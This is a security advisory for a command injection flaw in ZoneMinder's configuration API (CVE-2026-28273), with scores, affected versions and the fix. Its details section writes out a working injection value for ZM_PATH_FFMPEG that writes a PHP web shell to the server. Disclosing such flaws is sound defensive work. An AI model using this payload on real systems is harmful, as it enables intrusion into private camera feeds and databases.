Command injection in ZoneMinder - CVE-2026-28273
Published: November 3, 2026
Vulnerability identifier: #VU158949
CSH Severity: Medium
CVSS v4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]
CVE-ID: CVE-2026-28273
CWE-ID: CWE-77
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerability details
The vulnerability allows a remote user to execute arbitrary commands with the privileges of the web server user, exposing private camera feeds, recorded events, and database data.
The vulnerability exists due to command injection and missing authorization checks in the ZoneMinder configuration API when modifying configuration values that are subsequently used in exec() calls. A remote user can modify ZM_PATH_FFMPEG through /api/configs/edit/ZM_PATH_FFMPEG.json to contain /usr/bin/ffmpeg ; echo '<?php system($_GET["cmd"]); ?>' > /var/cache/zoneminder/cache/shell.php ; # and request an image view with an event ID and frame ID to execute arbitrary commands and create a web shell.
Affected software
ZoneMinder
How to mitigate CVE-2026-28273
Install security update from vendor's website.
ZoneMinder - addressed in versions 1.36.39, 1.38.2